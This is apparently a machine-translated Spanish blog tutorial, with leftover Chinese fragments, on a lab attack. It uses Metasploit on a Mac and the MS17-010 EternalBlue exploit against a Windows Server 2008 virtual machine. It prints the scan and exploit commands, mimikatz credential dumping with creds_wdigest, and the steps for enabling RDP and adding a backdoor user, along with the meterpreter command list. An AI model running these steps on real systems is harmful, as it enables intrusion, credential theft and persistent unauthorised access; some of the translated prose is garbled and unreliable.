[Seguridad de la red] Eternal Blue combat - ataque Mac Server2008 a través de Metasploit

Lectura guiada

Prepare un Server2008, ingrese a la interfaz interactiva Metasploitobteniendo los derechos de acceso al sistema . A través del comando, conecte el cmd de la máquina de destino para ver la información del sistema de destino. Luego, mirando a los usuarios del sistema. Finalmente, abriendo el escritorio remoto de la máquina de control y creando un usuario.meterpreter
shell
mimikatz
run enable_rdp

entorno de desarrollo

número de versión describir
MacOS (máquina de ataque) 11.5
Windows (máquina de destino) Servidor 2008 R2 x64 SP1
metasploit 6.2.15-dev-1b985447c5dccba9be98ed7cef60eecf487b9ec5
Microsoft_Remote_Desktop 10.7.9

Conocimiento básico

azul eterno

SMB(Server Message Block)También conocido como 网络文件共享系统(Common Internet File System,缩写为CIFS), un protocolo de transmisión de red de capa de aplicación, la función principal es permitir que las máquinas en la red compartan archivos de computadora, impresoras, puertos seriales y recursos de comunicaciones. También proporciona capacidades certificadas de comunicación entre viajes.

Error de Eternalblue #MS17-010 filtrado del 美国国家安全局(NSA)kit de hackers

La herramienta de explotación ataca el protocolo de intercambio de archivos del puerto TCP 445 (Bloque de mensajes del servidor/SMB) y puede obtener el sistema de privilegios más alto del sistema.

Efecto de fuga: Windows NT, Windows 2000, Windows XP, Windows 2003, Windows Vista, Windows 7, Windows 8, Windows 2008, Windows 2008 R2, Windows Server 2012 SP0, etc.

metasploit

Comandos comunes

show exploits – 查看所有可用的渗透攻击程序代码 
show auxiliary – 查看所有可用的辅助攻击工具 
show options – 查看该模块所有可用选项 
show payloads – 查看该模块适用的所有载荷代码 
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块 
info – 显示某模块的详细信息 
use – 进入使用某渗透攻击模块 
back – 回退 
set/unset – 设置/禁用模块中的某个参数 
setg/unsetg – 设置/禁用适用于所有模块的全局参数 
save – 将当前设置值保存下来,以便下次启动MSF终端时仍可使用

meterpreter

Meterpreter es un payload avanzado, dinámico y escalable.Cuando aparece meterpreter, tenemos un shell que puede ejecutar muchos comandos para controlar dispositivos remotos.
Ejecutando una orden:? O ayuda, que muestra todos los comandos que se pueden ejecutar.
Usaremos uploadel comando , runetc.

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    detach                    Detach the meterpreter session (for http/https)
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    pivot                     Manage pivot listeners
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session
    ssl_verify                Modify the SSL certificate verification setting
    transport                 Manage the transport mechanisms
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    del           Delete the specified file
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcat          Read the contents of a local file to the screen
    lcd           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyboard_send  Send keystrokes
    keyevent       Send key events
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    mouse          Send mouse events
    screenshare    Watch the remote user desktop in real time
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Stdapi: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on the target system


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

Preparación

Instalación de máquina virtual Server2008

Dirección de descarga del sistema: https://msdn.itellyou.cn/

Instalación: ligeramente ~~~

Instalar Metasploit en Mac

Descargar e instalar:
[Se puede ignorar] Dirección del sitio web oficial: https://www.metasploit.com/download
[Se puede ignorar] A través del sitio web oficial, solo puede acceder a la página wiki de github, y la página wiki saltará a la página de documentación de ayuda del sitio web oficial: En la página de ayuda https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html
, podemos ver que varias plataformas son compatibles, entre que la plataforma Mac se puede https://osx.metasploit.com/metasploitframework-latest.pkgdescargar e instalar directamente.

Inicializar y ejecutar:

# 切换到工作目录
cd /opt/metasploit-framework/bin/

# 一定要这么做,否则连接的数据库一定有问题。
./msfdb init

# 运行Metasploit开控台(运行一次会将路径设置到环境变量中,以后就可以直接访问该目录中所有命令了)
./msfconsole

Instalar Remote Desktop Client Microsoft Remote Desktop en Mac

No App Storese puede buscar a través de ella Microsoft Remote Desktop; acceda a la App Store a través de la página https://apps.apple.com/tw/app/microsoft-remote-desktop/id1295203466地区尚不提供此App y se le solicitará .
inserte la descripción de la imagen aquí

Aquí, descargamos directamente https://mac.softpedia.com/get/Utilities/Microsoft-Remote-Desktop-Connection.shtml a través de esta dirección El nombre del archivo descargado es Microsoft_Remote_Desktop_10.7.9_installer.pkgdoble clic para instalar.
inserte la descripción de la imagen aquí

Las siguientes dos direcciones de descarga requieren inicio de sesión, lo cual es un poco problemático

  • Descarga de Play Apple: https://www.ifunmac.com/?s=Microsoft+Remote+Desktop+for+Mac&x=0&y=0
  • Descarga futura de Mac: https://mac.orsoon.com/search/Microsoft%20Remote%20Desktop%20for%20Ma_mac_1.html

Obtenga el shell de destino a través de Metasploit

Buscar 17-010complementos de vulnerabilidad relacionados

msf6 > search 17-010

inserte la descripción de la imagen aquí

Escanee en busca de vulnerabilidades utilizando el complemento de verificación asistida por escáner

# 选中插件
use auxiliary/scanner/smb/smb_ms17_010

# 设置目录机器,单个ip验证(虚拟机中的Server2008)
set RHOSTS 192.168.1.216

# 开始执行漏洞扫描
run

El efecto es el siguiente:
inserte la descripción de la imagen aquí
inserte la descripción de la imagen aquí

pd:
show options es para mostrar los parámetros relacionados con este complemento. En la columna Requerido, sí indica los parámetros requeridos.
inserte la descripción de la imagen aquí

pd:
parámetrosRHOSTSyTHREADS:

# RHOSTS这个参数可以设置一个目标网段,进行扫描测试
set RHOSTS 192.168.29.1/24

# 设置扫描线程,插件默认是1,这里设置为20:
set THREADS 20

explotar obtener shell

Use el módulo de explotación para pruebas de ataque

use exploit/windows/smb/ms17_010_eternalblue 

set RHOSTS 192.168.1.1
set THREADS 10
run

El efecto es el siguiente:
inserte la descripción de la imagen aquí
inserte la descripción de la imagen aquí

Ejecute el comando shellpara ingresar a la línea de comando cmd:
inserte la descripción de la imagen aquí

pd :
ingrese chcp 65001 en la línea de comando de Windows para resolver los caracteres chinos ilegibles

Use el módulo mimikatz para destruir la contraseña de la cuenta de destino

# 加载mimikatz
load mimikatz

# 读取内存中存放的账号密码
creds_wdigest

El efecto es el siguiente:
inserte la descripción de la imagen aquí

Utilice el módulo meterpreter para abrir el escritorio remoto del controlador y crear un usuario

habilitar rdp

# 1,启动远程桌面(通过爆破出来的密码登录)
meterpreter > run post/windows/manage/enable_rdp 

# 2,创建一个新用户来远程连接 windows 桌面
meterpreter > run post/windows/manage/enable_rdp username=root password=[email protected]

Conéctese de forma remota a Server2008 a través de Microsoft Remote Desktop

inserte la descripción de la imagen aquí

pd:
kali se conecta al escritorio de windowsrdesktop 192.168.1.216

Referencias

Supongo que te gusta

Origin blog.csdn.net/kinghzking/article/details/126554664
Recomendado
Clasificación